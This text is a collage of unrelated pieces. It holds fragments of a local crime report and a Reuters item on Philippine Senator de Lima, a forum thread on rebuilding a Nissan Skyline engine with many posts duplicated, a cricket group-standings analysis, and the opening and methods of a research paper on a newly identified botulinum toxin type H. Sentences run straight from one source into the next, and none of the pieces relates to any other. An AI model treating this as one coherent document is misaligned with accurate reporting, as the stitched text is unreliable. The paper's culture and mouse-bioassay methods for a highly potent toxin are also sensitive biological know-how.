The other man wasn't seriously hurt. He also wasn't arrested which is something Vaughan's family said they don't understand.
Vaughan said he's sorry for Sanford's family but he didn't mean to hurt anyone.
"I hated that. I hated that. It hurts my heart. It's just something I have to live with. I don't know if i can take it," said Vaughan.
Vaughan's family tells LOCAL 15 that they've been receiving death threats from people associated with the two men.
No arrests have been made at this time and the case will be presented to a Grand Jury.MANILA (Reuters) - A senator and detained critic of Philippine President Rodrigo Duterte’s war on drugs has warned he and his “blind followers” will pay for ignoring alleged extrajudicial killings, and should stop trying to fool the world their crackdown was above board.
Philippine Senator Leila de Lima gestures during a news conference at the Senate headquarters in Pasay city, metro Manila, Philippines September 22, 2016. Picture taken September 22, 2016. REUTERS/Romeo Ran |
box, you gain acess through the hole the arm travels throughafter the pin and circlip have been removed pull it away from the thrust bearingthe bottom bellhousing bolts are easy to get to but the top six bolts look almost impossible...if you remove the top and bottom driverside engine mount bolts and the bottom passenger side mount bolt you can jack the engine and then remove the driver side engine mount, the passenger side mount does not need to be removed to get the engine out of the bay
www.skylineowners.com __________________ Last edited by Poirot; 01-05-2009 at 12:58 AM. Remove Advertisements Skyline Owners Advertisement
24-01-2007, 10:27 AM #2 Poirot Punch me.
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the driveshafts are held in by circlips and in theory they just need a jolt and they will come free if you have removed the hub to allow movement, i couldnt do this on the driver side though even after about an hour of abuse, tried to release it from inside the diff housing to no avail so i split the shaft fromm the engine side joint, it didnt make engine removal any harder with it still attached
the passenger side has a very long driveshaft and it also needs to be unbolted from the engine before removal, the driveshaft castlenuts are a 36mm BTW
i left it to almost last to remove the power steering hoses..
the engine should come free as soon as you try to "wiggle" it off the input shaft, i didnt put a jack under the gearbox as it seemed very secuore by itself
once thats all done just lift the engine as much as you can whilst keeping an eye on any wires still attached, the higher the engine is at this point the easier it is to remove the knock sensors etc
sounds straightforward but that took me the best part of 20 hours in a typical english febuary 5 degree wether
hopefully i can have this stripped and rebuilt within a month!? when you drop the engine down onto the subframe you can get those bolts with a normal 14mm spanner from the bonnet sidethe driveshafts are held in by circlips and in theory they just need a jolt and they will come free if you have removed the hub to allow movement, i couldnt do this on the driver side though even after about an hour of abuse, tried to release it from inside the diff housing to no avail so i split the shaft fromm the engine side joint, it didnt make engine removal any harder with it still attachedthe passenger side has a very long driveshaft and it also needs to be unbolted from the engine before removal, the driveshaft castlenuts are a 36mm BTWi left it to almost last to remove the power steering hoses..the engine should come free as soon as you try to "wiggle" it off the input shaft, i didnt put a jack under the gearbox as it seemed very secuore by itselfonce thats all done just lift the engine as much as you can whilst keeping an eye on any wires still attached, the higher the engine is at this point the easier it is to remove the knock sensors etcsounds straightforward but that took me the best part of 20 hours in a typical english febuary 5 degree wetherhopefully i can have this stripped and rebuilt within a month!?
www.skylineowners.com __________________ Last edited by Poirot; 06-09-2007 at 02:45 PM. 24-01-2007, 10:28 AM #3 Poirot Punch me.
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upon removal of the head the valves in cylinder two showed no signs of damage...i filled it with water but none seeped through (water may not be thin enough for some but its thin enough for 40psi drop i believe eh)
the head gaskett seemed ok too
upon removal of the piston it also seemed fine...as i started to clean it i saw det marks on the "flats" of the piston
cleaning a bit more on the ringlands gave a nasty surprise!!, a lump of no:2 ringland came off in my hand and i then saw two cracks in the ringland above it!
just sittting there waiting to jump out eh lol,the detonation couldnt break the top of the piston but the shockwave the detonation made traveled through the piston and cracked it where it was weakest....a bit like the "din mak" that jean-claude van damme done in the film bloodsport lol!
the others have tiny cracks here and there..wouldnt have thought they were cracks until i saw no:2 piston so if you are doing a rebuild yourself changing the pistons or having them xrayed would be a very good idea if you have any signs of detonation on the flats
so...a set of forged pistons is on the cards and this is where the skyline tuning parts prices come into play............you can easy pay £1200 for HKS pistons and near that price for most makes that uk tuners stock
some uk tuners charge £3-5000 for a basic rebuild compared to £700-£1200 for your average 6 cylinder engine
the prices of OE parts isnt too bad...£50 for bearings, £260 for a slightly uprated clutch, gasket kit £140 so why the massive prices?
apart from the "hassle" involved with a GTR rebuild there seems to be a serious lack of infomation on the net (or anywhere else!) about the cars/engines, and from what ive read most rebuilds end in enginge failure even when done by some tuning companys...
http://www.gtr.co.uk/forum/upload/sh...engine+failure
in fact my engine had 6/6/05 on the sump and rocker indicating that the engine had just been replaced....i presume due to engine failure?....this engine only lasted a few hundred miles before it blew for one reason or another so the chances of this "poverty" rebuild going smoothly is low to nil maybe
so anyway..the first and longest job of the rebuild should be the clean down, if you take the bits off and get them as clean as possible before starting any engine work the whole rebuild will be a far less messy operation
heres the inlet and exhaust manifolds as they were
i just gave them a degrease with some gunk, jetted them off and then put them in a friends sandblaster
i done that to pretty much all of the parts i could as the engine was very corroded, even the turbos the strip down process is pretty normal really, i wont go into that as this guide is for the experianced mechanic (although a beginners guide to skyline engine overhaul process)upon removal of the head the valves in cylinder two showed no signs of damage...i filled it with water but none seeped through (water may not be thin enough for some but its thin enough for 40psi drop i believe eh)the head gaskett seemed ok tooupon removal of the piston it also seemed fine...as i started to clean it i saw det marks on the "flats" of the pistoncleaning a bit more on the ringlands gave a nasty surprise!!, a lump of no:2 ringland came off in my hand and i then saw two cracks in the ringland above it!just sittting there waiting to jump out eh lol,the detonation couldnt break the top of the piston but the shockwave the detonation made traveled through the piston and cracked it where it was weakest....a bit like the "din mak" that jean-claude van damme done in the film bloodsport lol!the others have tiny cracks here and there..wouldnt have thought they were cracks until i saw no:2 piston so if you are doing a rebuild yourself changing the pistons or having them xrayed would be a very good idea if you have any signs of detonation on the flatsso...a set of forged pistons is on the cards and this is where the skyline tuning parts prices come into play............you can easy pay £1200 for HKS pistons and near that price for most makes that uk tuners stocksome uk tuners charge £3-5000 for a basic rebuild compared to £700-£1200 for your average 6 cylinder enginethe prices of OE parts isnt too bad...£50 for bearings, £260 for a slightly uprated clutch, gasket kit £140 so why the massive prices?apart from the "hassle" involved with a GTR rebuild there seems to be a serious lack of infomation on the net (or anywhere else!) about the cars/engines, and from what ive read most rebuilds end in enginge failure even when done by some tuning companys...in fact my engine had 6/6/05 on the sump and rocker indicating that the engine had just been replaced....i presume due to engine failure?....this engine only lasted a few hundred miles before it blew for one reason or another so the chances of this "poverty" rebuild going smoothly is low to nil maybeso anyway..the first and longest job of the rebuild should be the clean down, if you take the bits off and get them as clean as possible before starting any engine work the whole rebuild will be a far less messy operationheres the inlet and exhaust manifolds as they werei just gave them a degrease with some gunk, jetted them off and then put them in a friends sandblasteri done that to pretty much all of the parts i could as the engine was very corroded, even the turbos
www.skylineowners.com __________________ Last edited by Poirot; 17-09-2007 at 12:33 AM.
24-01-2007, 10:38 AM #4 Nino_Brown Alloy Junkie
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Excellent thread! whoaExcellent thread! __________________
"Its better to burn out, than to fade away" 24-01-2007, 10:48 AM #5 Poirot Punch me.
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so before clean down we have something like this
combustion face, oven cleaner first then jetter should get something like this
same bit but rubbed with fine grade wet and dry (wet) for about 45mins..maybe less
same bit, polished with fine wire wool for about 30mins
i cleaned the mating surface in the same way...didnt take too much time doing this as i have not yet checked the volume of the combustion areas on the head so it may need a skim if its off but we will come to that shortly, make sure you use a straight edge on top of your cleaning medium to make sure you are removing any material in a uniform manner
doing this polishing is a long process but it really does have great results
now heres an exhaust port as stock
here is one with the bump removed
i used a dremmel with a sandpaper end, then wet and dry followed by wire wool
the inlet side just wanted smoothing off really
seeing as i have just bought this car and that the engine detonated for unknown reasons i checked the volume of the cylinder part of the head, i used some perspex, some sealant and a 100ml syringe
you will need to drill two holes for each cylinder..one so you can fill the void with water and one to let the air escape
put perspex onto head, mark out two holes for each cylinder and then drill the holes
then apply sealant to the perspex/head and weight it down for 45mins or so, aftrer that fill a 100ml syringe up and fill each cylinder with parrafin, you can use water but if it does get past the valve it can corrode the valve seat..
you may want to check for leaks as one of mine was letting by at the sparkplug which gave some very confusing results lol
remember to keep a record of the volumes...
i got 66ml accross the board so no problems there (34ml left in the syringe) to clean the head i used oven cleaner as per instructions on the carbonised parts of the head and jetted off, i then used fine grade wet and dry (wet) followed by fine wire wool to get a polish...this isnt just done from a cleaning point of view, it makes sure there is no sharp edges/hotspots on the combustion surface and will reduce the chances of detonation in future, the flat part of the combustion face (the bits that stop the head part of the cylinder being round) should also be rounded off slightly to avoid det...the inlet side is more prone to det than the exhaust sideso before clean down we have something like thiscombustion face, oven cleaner first then jetter should get something like thissame bit but rubbed with fine grade wet and dry (wet) for about 45mins..maybe lesssame bit, polished with fine wire wool for about 30minsi cleaned the mating surface in the same way...didnt take too much time doing this as i have not yet checked the volume of the combustion areas on the head so it may need a skim if its off but we will come to that shortly, make sure you use a straight edge on top of your cleaning medium to make sure you are removing any material in a uniform mannerdoing this polishing is a long process but it really does have great resultsnow heres an exhaust port as stockhere is one with the bump removedi used a dremmel with a sandpaper end, then wet and dry followed by wire woolthe inlet side just wanted smoothing off reallyseeing as i have just bought this car and that the engine detonated for unknown reasons i checked the volume of the cylinder part of the head, i used some perspex, some sealant and a 100ml syringeyou will need to drill two holes for each cylinder..one so you can fill the void with water and one to let the air escapeput perspex onto head, mark out two holes for each cylinder and then drill the holesthen apply sealant to the perspex/head and weight it down for 45mins or so, aftrer that fill a 100ml syringe up and fill each cylinder with parrafin, you can use water but if it does get past the valve it can corrode the valve seat..you may want to check for leaks as one of mine was letting by at the sparkplug which gave some very confusing results lolremember to keep a record of the volumes...i got 66ml accross the board so no problems there (34ml left in the syringe)
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as mentioned previously the pistons were all either damaged or had suspected fractures on the ringlands...to replace these with stock items would cost £70 each from nissan but TBH they aint great pistons so i have gone with a larger bore with a set of JE forged items i bought from the american ebay site, worked out about £470 with shipping and customs tax
going 1mm oversize works out to be 2628cc (stock being 2568cc), this will not increase power by any noticable margin
the engine needs a good jetting out after any work like this, making sure no swarf has found a corner to hide in, all of the oilways and water ports blown through with the coreplugs removed for 30mins or so followed by some compressed air to dry it off is a must, dont want to allow any corrosion to get into the oilways, finish off with some WD40 on the oilports, journals and mating surfaces
i gave it a coat of silver high temp paint whilst it was outside and dry
moving on to the pistons....i weighed and bagged every piston and recorded the weight, i done the same with the pins and the rods with the old bearings removed
i found about 1 gram difference on the new JE's and about 4 gram on the rods, i am not going to balance the rods or pistons but i did do some basic blueprinting which is setting the heaviest piston with the lighest rod and so on
i took a record of the stock piston weight vs the new ones for no other reason than curisoty..
nice set of scales eh and perfect for this application....i got hold of this during the time i was made redundant from a closeing down sugar factory
the stock rods averaged out at about 640g IIRC
there are some sharp edges on the pistons that id prefer removed, i used some fine wet and dry to round off all of the sharp edges on the face of the piston, basicially its minimising the amount of hotspots which will go some way to deter detonation
i went with the recommended 4 thou bore clearance and ring clearances for "street car turbo/nitrous", the clearances have to be worked out by inch of bore, in this case its 87mm so thats 3.4 inches roughly, this does not apply to the oil control ring cluster though!
TBH i would prefer to see a more reasonable description of the application, there are too many variables on a turbo/nitrous engine to just throw it all into one part of the scale IMHO
on a previous engine i used the max clearance for turbo/nitrous on the bore and also on the rings........that was an engine that was designed to last ten thousand miles and no more so remember that if you want bigger cleances, lifespan will decrease at an unbelieveable rate the bigger your clearances are as they only allow good sealing of the rings at very high temps (which is what you would want on a 10 second drag car but this is a road car...)
so i have gone with a clearance of 17-18 thou on the top ring, 23 thou on the middle ring and the stock gapping on the oil ring which is ok provided its over 15 thou
the rings are file fit so its just a matter of filing gently on one side of the ring until you can fit the feeler guage through the gap in the ring with just a tiny bit of resistance when it is installed in the bore for your desired clearance
i always chase the ring up and down the bore clecking the clearance after i have finished filing the ring, if the clearance on your ring increases or discreases as you do this the bore has a "taper" to it
the JE pistons seem to have a lot of failures where the pin (or circlip) jumps ship and allows the gundgeon pin to slide out, there isnt any info supplied with the piston set as to how to fit them but after looking at their site and speaking to people on forums the general method is to place the open ends into the groove facing away from the face of the piston and push in with your fingers, it shouldnt be hard to push them in if you are using the right technique...they just slide in real easy and hopefully make a nice click when they seat to let you know they are home, i still rotate them a few times just to make sure though as you really dont want to make a mistake here
with any rod/gudgeon pin there should be roughly 1 thou clearance...its not easy to measure this without specialised mics but if you oil and then place the gudgeon pin into the rod it should slowly glide through *slowly under gravity alone
although there was no crank failure on my engine i still wanted to get the crank checked over, it came back "all ok" but i had the jounals polished up whilst it was there
the bearings are a bit tricky on these engines...normally its just a case of ordering a new stock set but these are all graded
there is a beraring grade stamped into the sump face for each main bearing and another for the cranks mains jounals, these numbers are listed on the flywheel end of the crank
top-mains journals
bottom-rod journals
left to right nos 1-7/1-6
you add the numbers on the block to the numbers on the crank and thats the grade of bearing you need
same thing with the rods and the pistons (obviously the piston grade does not apply if you have a rebore)
also remember that cylinder 4 mains has the thrust bearing bit on it and you will need to mention that when you order
these bearing grades should still only be used as a guide, the bearings will still require checking with "plastigauge" if we are to be sure that clearances are correct and that the crank journals are not eliptical, it was given the "ok" by the rebore company but ill trust my own measurements only!, the crank is SO important you cant just take it for granted......double checking here will prevent the engine coming back out again in a few weeks time
after installing the mains bearings (prior to checking) we started to install the oil squirters..pretty cool items by all accounts and its a wonder why they are not fitted to all engines, they have an oilway and valve inside the bolt so make sure you fit the right ones in lol, the piston is also supplied with oil by the rod
one of mine had been damaged somehow, it wasnt until it was positioned along with the others that we noticed the bend...and then the crack on the shaft
cant be too careful eh
i doubt it would have led to an immediate engine failure as the squirter is pressure dependant....if oil pressure drops under 3 bar (guess) the oil squirters are shut down, it may have led to failure at full throttle with lots of heat in the piston though
also from the above picture you should be able to see the block "cast lines"...these are basicially strees points that we could removed if we wished....this would be a very useful mod on a block that is on the brink of its power level but on this engine 500bhp would take you nowhere near that stage so i have mostly left them alone but i did take the shap edge off them....just a tickle with the dremmel to radius the stress point
there is more infomation on this subject on with the head now prepped and ready for lapping the parts have arrived to start the blockas mentioned previously the pistons were all either damaged or had suspected fractures on the ringlands...to replace these with stock items would cost £70 each from nissan but TBH they aint great pistons so i have gone with a larger bore with a set of JE forged items i bought from the american ebay site, worked out about £470 with shipping and customs taxgoing 1mm oversize works out to be 2628cc (stock being 2568cc), this will not increase power by any noticable marginthe engine needs a good jetting out after any work like this, making sure no swarf has found a corner to hide in, all of the oilways and water ports blown through with the coreplugs removed for 30mins or so followed by some compressed air to dry it off is a must, dont want to allow any corrosion to get into the oilways, finish off with some WD40 on the oilports, journals and mating surfacesi gave it a coat of silver high temp paint whilst it was outside and drymoving on to the pistons....i weighed and bagged every piston and recorded the weight, i done the same with the pins and the rods with the old bearings removedi found about 1 gram difference on the new JE's and about 4 gram on the rods, i am not going to balance the rods or pistons but i did do some basic blueprinting which is setting the heaviest piston with the lighest rod and so oni took a record of the stock piston weight vs the new ones for no other reason than curisoty..nice set of scales eh and perfect for this application....i got hold of this during the time i was made redundant from a closeing down sugar factorythe stock rods averaged out at about 640g IIRCthere are some sharp edges on the pistons that id prefer removed, i used some fine wet and dry to round off all of the sharp edges on the face of the piston, basicially its minimising the amount of hotspots which will go some way to deter detonationi went with the recommended 4 thou bore clearance and ring clearances for "street car turbo/nitrous", the clearances have to be worked out by inch of bore, in this case its 87mm so thats 3.4 inches roughly, this does not apply to the oil control ring cluster though!TBH i would prefer to see a more reasonable description of the application, there are too many variables on a turbo/nitrous engine to just throw it all into one part of the scale IMHOon a previous engine i used the max clearance for turbo/nitrous on the bore and also on the rings........that was an engine that was designed to last ten thousand miles and no more so remember that if you want bigger cleances, lifespan will decrease at an unbelieveable rate the bigger your clearances are as they only allow good sealing of the rings at very high temps (which is what you would want on a 10 second drag car but this is a road car...)so i have gone with a clearance of 17-18 thou on the top ring, 23 thou on the middle ring and the stock gapping on the oil ring which is ok provided its over 15 thouthe rings are file fit so its just a matter of filing gently on one side of the ring until you can fit the feeler guage through the gap in the ring with just a tiny bit of resistance when it is installed in the bore for your desired clearancei always chase the ring up and down the bore clecking the clearance after i have finished filing the ring, if the clearance on your ring increases or discreases as you do this the bore has a "taper" to itthe JE pistons seem to have a lot of failures where the pin (or circlip) jumps ship and allows the gundgeon pin to slide out, there isnt any info supplied with the piston set as to how to fit them but after looking at their site and speaking to people on forums the general method is to place the open ends into the groove facing away from the face of the piston and push in with your fingers, it shouldnt be hard to push them in if you are using the right technique...they just slide in real easy and hopefully make a nice click when they seat to let you know they are home, i still rotate them a few times just to make sure though as you really dont want to make a mistake herewith any rod/gudgeon pin there should be roughly 1 thou clearance...its not easy to measure this without specialised mics but if you oil and then place the gudgeon pin into the rod it should slowly glide through *slowly under gravity alonealthough there was no crank failure on my engine i still wanted to get the crank checked over, it came back "all ok" but i had the jounals polished up whilst it was therethe bearings are a bit tricky on these engines...normally its just a case of ordering a new stock set but these are all gradedthere is a beraring grade stamped into the sump face for each main bearing and another for the cranks mains jounals, these numbers are listed on the flywheel end of the cranktop-mains journalsbottom-rod journalsleft to right nos 1-7/1-6you add the numbers on the block to the numbers on the crank and thats the grade of bearing you needsame thing with the rods and the pistons (obviously the piston grade does not apply if you have a rebore)also remember that cylinder 4 mains has the thrust bearing bit on it and you will need to mention that when you orderthese bearing grades should still only be used as a guide, the bearings will still require checking with "plastigauge" if we are to be sure that clearances are correct and that the crank journals are not eliptical, it was given the "ok" by the rebore company but ill trust my own measurements only!, the crank is SO important you cant just take it for granted......double checking here will prevent the engine coming back out again in a few weeks timeafter installing the mains bearings (prior to checking) we started to install the oil squirters..pretty cool items by all accounts and its a wonder why they are not fitted to all engines, they have an oilway and valve inside the bolt so make sure you fit the right ones in lol, the piston is also supplied with oil by the rodone of mine had been damaged somehow, it wasnt until it was positioned along with the others that we noticed the bend...and then the crack on the shaftcant be too careful ehi doubt it would have led to an immediate engine failure as the squirter is pressure dependant....if oil pressure drops under 3 bar (guess) the oil squirters are shut down, it may have led to failure at full throttle with lots of heat in the piston thoughalso from the above picture you should be able to see the block "cast lines"...these are basicially strees points that we could removed if we wished....this would be a very useful mod on a block that is on the brink of its power level but on this engine 500bhp would take you nowhere near that stage so i have mostly left them alone but i did take the shap edge off them....just a tickle with the dremmel to radius the stress pointthere is more infomation on this subject on www.max-boost.co.uk under "advanced"
www.skylineowners.com __________________ Last edited by Poirot; 22-06-2007 at 08:44 PM. 24-01-2007, 02:26 PM #7 Bigchief Seasoned Member
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excelent work brian........nice and graphic........good work mate.....keith
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keith@skylineowners.com 24-01-2007, 02:50 PM #8 Trev Guest
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A well detailed thread - good work! 24-01-2007, 02:55 PM #9 spinky Seasoned Member
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more more more ;-) excellent stuff mate i've done one rebuild before and said never again but ye got me all brooody now ;-) __________________
Skyline R33 GTS-T 314.9bhp atf, the Racing line 24-01-2007, 02:56 PM #10 Poirot Punch me.
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the bearing grades on the mains, crank and rods have been noted and ordered to spec, i had the crank checked whilst i was having the block bored but i would still like to check it with plastigauge
the bearings are fitted to the block, mains and rods but without oil!
you want to cut a slither of the stuff so its slightly shorter than the jounal itself, do this to all of the mains journals on the crank with the crank placed in the engine awaiting the girdle
now fit the girdle with the plastigauge in situ being careful not to knock it off, torque up the bolts in the correct fashion and then dis-assemble it all again to measure and then remove the plastigauge
measurement is real easy with the bit of card they supply, you just match the size of the "splat" it makes on the crank with a splat on the card lol
the stock clearance is just under 2 thou, max clearance is 3.5 thou, all of mine came up at around 2.0-2.1 so well within clearance
mains bearings cleaned and oiled ready for the crank to be finially fitted
mains offered up to block just prior to crank install
crank and mains fitted
top view
the coreplugs should be renewed at this point..they are cheap and can only really be all renewed when the engine is out...just knock the sifdethe coreplugs should ways in their bore, remove with pliers and then use the least bent old coreplug as a drift to insert the new ones withthe bearing grades on the mains, crank and rods have been noted and ordered to spec, i had the crank checked whilst i was having the block bored but i would still like to check it with plastigaugethe bearings are fitted to the block, mains and rods but without oil!you want to cut a slither of the stuff so its slightly shorter than the jounal itself, do this to all of the mains journals on the crank with the crank placed in the engine awaiting the girdlenow fit the girdle with the plastigauge in situ being careful not to knock it off, torque up the bolts in the correct fashion and then dis-assemble it all again to measure and then remove the plastigaugemeasurement is real easy with the bit of card they supply, you just match the size of the "splat" it makes on the crank with a splat on the card lolthe stock clearance is just under 2 thou, max clearance is 3.5 thou, all of mine came up at around 2.0-2.1 so well within clearancemains bearings cleaned and oiled ready for the crank to be finially fittedmains offered up to block just prior to crank installcrank and mains fittedtop view
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before we fitted the rod/piston we placed duck tape on the studs to prevent assembly marks to the crank journal
bolt up the rod to the crank to the correct torque and repeat 6 times
fit the splashplates, oil pickup, oil pump and the flywheel side crank cover before fitting the sump
heat the timing pulley up in a saucepan of water before fitting to help it go on and make sure the washers are round the right way!, round one to block, then timing pulley with groove to block, then curved washer with the bowl facing away from the engine before fitting the pulley
pump and timing pulley fitted
bottom end rebuild complete
the head is now back on the agenda for the next stage all coming together now!, the piston rings have already been cut to spec and they have been fitted to the rods already too so its just a case of taking them with their piston and oiling them up to help slide them in to the cylinderbefore we fitted the rod/piston we placed duck tape on the studs to prevent assembly marks to the crank journalbolt up the rod to the crank to the correct torque and repeat 6 timesfit the splashplates, oil pickup, oil pump and the flywheel side crank cover before fitting the sumpheat the timing pulley up in a saucepan of water before fitting to help it go on and make sure the washers are round the right way!, round one to block, then timing pulley with groove to block, then curved washer with the bowl facing away from the engine before fitting the pulleypump and timing pulley fittedbottom end rebuild completethe head is now back on the agenda for the next stage
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Butuz Amazing thread! This is exactly what I need to do to my car - and i cant afford to pay someone to do it either!!!! Keep on going please!!Butuz
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if you have not done this before you will need these
the idea is to clamp the valve spring down and remove the "collets" from the top of the valve
with the collets removed the spring and cap will come out as the valve tool is released and the valve can be pulled out with the plunger
keep all of the valves/springs/caps/collets/spring seating washers from each port in one bag labelled with the number of that port, i normally write the numbers next to one or two of the ports too as you can see in some pics...just to make sure they go back in the same place
here is one of the exhaust valves as it came out
when the valve and spring/cap is removed you can see the valve seal
these can be removed *carefully* with a pair of pliers...must be careful not to score the wall of the head
l
when everything is removed you can give all the parts a clean with fuel inc the parts of the exhaust ports that you cant get to with the valve in place....i wouldnt clean around the valve seat/valve sealing surface with anything other than cutting paste but you can clean the backs of the valves with a |
already played 3 matches and are struggling on net run-rate; they have two tough games ahead, one against India and another against South Africa, and both can go either way. If they can't win even one of them, they will need to trounce UAE on March 15 and then hope that the rest falls into place.Pakistan are right at the bottom, even below UAE, after losing both their matches comprehensively. They will be confident of picking up two points each against UAE and Zimbabwe but won't be so self-assured against South Africa.In such a case, the last league game in this group, between Pakistan and Ireland, may well turn out to be a knockout clash. Ireland, on the other hand, may jump to 6 quickly if they stay true to form and tame Zimbabwe on March 7.They will pray for another victory soon but with South Africa and India looming next it may not be so easy. But if they pull off another big game, then there is no doubt that either Pakistan (most likely) or West Indies (not so likely) will be the victims.So everything may well boil down to their clash against Pakistan. Interestingly, they can lose to Pakistan and still make it as long as they hang on to their net run-rate advantage. Even more intriguingly, that may well mean that Pakistan too can sneak in, as long as they can do something dramatic about their net run-rates.In such a scenario, West Indies may well be left licking their wounds even if all three end up with six or more points. This may turn out to be a dangerous proposition, as the Pakistan-Ireland clash is scheduled to begin a couple of hours before the West Indies-UAE fixture.As of now, an upset is on the cards.Abstract
Background. Clostridium botulinum strain IBCA10-7060, isolated from a patient with infant botulism, produced botulinum neurotoxin type B (BoNT/B) and another BoNT that, by use of the standard mouse bioassay, could not be neutralized by any of the Centers for Disease Control and Prevention–provided monovalent polyclonal botulinum antitoxins raised against BoNT types A–G. Methods and Results. The combining of antitoxins to neutralize the toxicity of known bivalent C. botulinum strains Ab, Ba, Af, and Bf also failed to neutralize the second BoNT. Analysis of culture filtrate by double immunodiffusion yielded a single line of immunoprecipitate with anti-A, anti-B, and anti-F botulinum antitoxins but not with anti-E antitoxin. A heptavalent F(ab’) 2 botulinum antitoxin A–G obtained from the US Army also did not neutralize the second BoNT. An antitoxin raised against IBCA10-7060 toxoid protected mice against BoNT/B (Okra) and against the second BoNT but did not protect mice against BoNT/A (Hall) or BoNT/F (Langeland). Conclusion. The second BoNT thus fulfilled classic criteria for being designated BoNT/H. IBCA10-7060 is the first C. botulinum type Bh strain to be identified. BoNT/H is the first new botulinum toxin type to be recognized in >40 years, and its recognition could not have been accomplished without the availability of the mouse bioassay.
(See the major article by Dover et al on pages 192–202,and the editorial commentaries by Popoff on pages 168–9and Hooper and Hirsch on page 167and Relman on pages 170–2.)
Modern knowledge of Clostridium botulinum originates with the discovery of the bacterium in 1897 by van Ermengem, who isolated it from an incompletely salted ham eaten in the now-famous foodborne botulism outbreak in the small Belgian town of Ellezelles that sickened 23 members of a musical club, of whom 13 became quite paralyzed and 3 died. Van Ermengem's study (112 pages in the original German) established that the illness of botulism resulted from an extremely potent, heat-labile toxin that was produced by a spore-forming, obligately anaerobic bacterium [1].
In 1910, Leuchs in Berlin showed that 2 European strains of C. botulinum produced toxins that had different antigenicities because an antitoxin raised against one toxin did not cross-neutralize the toxin of the other strain [2]. In 1919, working with US strains of C. botulinum, Georgina Burke designated the 2 antigenically distinguishable botulinum toxins (BoNTs) as type A (BoNT/A) and type B (BoNT/B) [3]. She thereby established the present-day alphabetical designations of the several toxin types whose defining characteristic remains the absence of cross-neutralization in the mouse bioassay by type-specific monovalent botulinum antitoxin [4].
In the decades that followed Burke's work, 5 more toxin types were discovered; these consist of types C (discovered in 1922), D (1928), E (1937), F (1960), and most recently, G (1970) [5–10]. Although no new BoNT types have been recognized in the past 40 years, strains that produce 2 toxins (usually in different amounts) have been identified, with the lesser amount of toxin indicated by a lower case letter. These strains, termed “bivalent,” include those with the dual toxicities of Ab, Ba, Af, and Bf, as well as AB strains that produce equivalent amounts of both toxins [11–14]. A(B) strains also exist; they are termed “A silent B” because their additional gene for BoNT/B contains a stop-codon mutation that yields an inactive BoNT/B [15, 16]. Also, subtypes of BoNT/A, B, E, and F have been described based on differences in the toxin gene nucleotide and toxin amino acid sequences, surface epitopes, and physiological characteristics [17–19].
We now report the isolation and characterization of a novel strain of proteolytic C. botulinum, recovered from a patient with infant botulism, that produces a type H botulinum toxin by the established criterion of absence of neutralization in the mouse bioassay with any of the 7 monovalent anti-A through anti-G botulinum antitoxins, either when used individually or when combined in pairs to neutralize bivalent strains. This novel toxin could only be neutralized by an antitoxin raised against it in rabbits, even though double-immunodiffusion analysis of the BoNT-containing culture filtrate produced by this novel strain identified /A-like, /B-like, and /F-like epitopes in it. The characteristics of the type H toxin were further elucidated by molecular studies reported in the companion article by Dover et al [20].
MATERIALS AND METHODS
Primary Isolation
A 5-g fecal sample submitted for infant botulism diagnostic testing from a patient treated with Human Botulism Immune Globulin (BIG-IV; BabyBIG) [21] was evaluated using standard methods (Supplementary Materials). Colonies characteristic of C. botulinum were isolated in pure culture on egg yolk agar and subcultured to cooked meat glucose starch broth for toxin testing and cryopreservation for further studies. The strain was designated IBCA10-7060.
Characterization Studies
Most botulinum antitoxin neutralization studies were performed with cooked meat glucose starch cultures of IBCA10-7060 incubated at 35°C for 72 hours, diluted 1:20 with gelatin phosphate diluent, and filter sterilized, which is the standard method used in our laboratory for typing toxins in pure cultures of C. botulinum. Mouse bioassays were performed in repeated replicates, using monovalent polyclonal equine antitoxins A, B, C, D, E, F, and G (Centers for Disease Control and Prevention [CDC], Atlanta, GA). The 1:20 cooked meat glucose starch culture dilutions were also tested with bivalent and trivalent mixtures of monovalent botulinum antitoxins AB, AF, BE, BF, ABE, and ABF. All animal studies were conducted under protocols approved by the Institutional Animal Care and Use Committee of the California Department of Public Health.
The standard mouse bioassay requires that 2 mice each receive a 0.6-mL intraperitoneal dose composed of 0.1 mL of monovalent equine botulinum antitoxin and 0.5 mL of fecal extract or diluted culture filtrate. The antitoxin and fecal extract or culture filtrate are mixed and incubated for 30 minutes at room temperature before being injected into mice. The 0.1-mL dose of monovalent equine antitoxin is standardized to contain ≥1 international unit (IU) of type-specific antitoxin. For BoNT/A, /B, /C, /D, /F, and /G, 1 IU of botulinum antitoxin is defined as the amount of antibody that neutralizes 10 000 intraperitoneal mouse lethal doses (50% end point; MLD 50 ) of BoNT. For BoNT/E, 1 IU of type E antitoxin is defined as the amount neutralizing just 1000 intraperitoneal MLD 50 [4]. Each mouse injected with a 1:20 dilution of filter-sterilized culture combined either with a single monovalent antitoxin or with a mixture of 2 antitoxins received a total intraperitoneal dose volume of 0.6 mL or 0.7 mL, respectively. CDC monovalent antitoxins are suspended in 50% glycerol, so care was taken to avoid glycerol toxicity when creating antitoxin combinations (Supplementary Materials).
Culture filtrates were also tested against a heptavalent botulinum antitoxin containing polyclonal F(ab’) 2 antibodies against all 7 BoNT serotypes A–G (USAMMDA, Ft. Detrick, MD). Concentrations of the 7 BoNT-neutralizing antibodies in the Ft. Detrick product were approximately 10–80 times those of the CDC monovalent immunoglobulin G (IgG) antitoxins. Concentrations of antitoxins in the heptavalent antitoxin product were as follows (rounded IU units): anti-type A, 238 IU/mL; anti-type B, 295 IU/mL; anti-type C, 95 IU/mL; anti-type D, 836 IU/mL; anti-type E, 836 IU/mL; anti-type F, 291 IU/mL; and anti-type G, 102 IU/mL. As needed to adjust for differences in toxin-neutralizing potency between the monovalent and heptavalent products, the heptavalent antitoxin was diluted ≤1:25 with gelatin phosphate diluent to enable equivalent efficacy comparisons with the CDC diagnostic monovalent antitoxins that each contained ≥10 IU/mL.
The concentration of BoNT expressed by IBCA10-7060 in a 72-hour cooked meat glucose starch culture was evaluated with a MLD 50 study, using 2 mice per 10-fold serial dilution. The residual of each dilution was retained, and serial 1:2 dilutions of the 10-fold dilution immediately above the 50% end point were then injected into groups of 6 mice. The MLD 50 per milliliter was calculated using the method of Reed and Muench [22]. The digoxigenin enzyme-linked immunosorbent assay (DIG-ELISA) method was also used qualitatively to evaluate BoNT production [23].
The API 20a (Biomerieux, Hazelwood, MO) and Rapid ANA (Remel, Lenexa, KS) identification systems were used to establish biochemical profiles of IBCA10-7060 isolates. DNA extracted from a trypticase peptone glucose yeast extract culture of IBCA10-7060 was used to identify and characterize bont gene clusters and proteolytic group I 16s ribosomal RNA sequences and to perform whole genome sequencing studies reported by Dover et al in the companion article [20].
